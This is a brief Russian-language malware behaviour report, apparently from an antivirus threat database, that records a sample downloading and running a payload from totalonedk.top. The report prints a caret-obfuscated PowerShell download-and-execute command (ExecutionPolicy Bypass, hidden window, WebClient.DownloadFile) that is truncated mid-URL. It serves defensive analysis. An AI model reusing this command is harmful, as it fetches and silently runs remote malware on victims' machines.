Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://totalonedk.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^o^WersHE^L^l^.ex^E^ -^exe^c^utI^ONP^OLic^Y b^YPass^ -NOPrOf^ILE -w^iN^D^Ow^STY^LE ^HidDeN (n^E^W^-O^b^jECT^ S^Yst^EM.net.^wEbcL^Ie^nt^)^.^D^ow^N^L^OA^dF^IL^E('http://tot...
Сетевая активность
UDP
- DNS ASK to###onedk.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^o^WersHE^L^l^.ex^E^ -^exe^c^utI^ONP^OLic^Y b^YPass^ -NOPrOf^ILE -w^iN^D^Ow^STY^LE ^HidDeN (n^E^W^-O^b^jECT^ S^Yst^EM.net.^wEbcL^Ie^nt^)^.^D^ow^N^L^OA^dF^IL^E('http://tot...' (со скрытым окном)
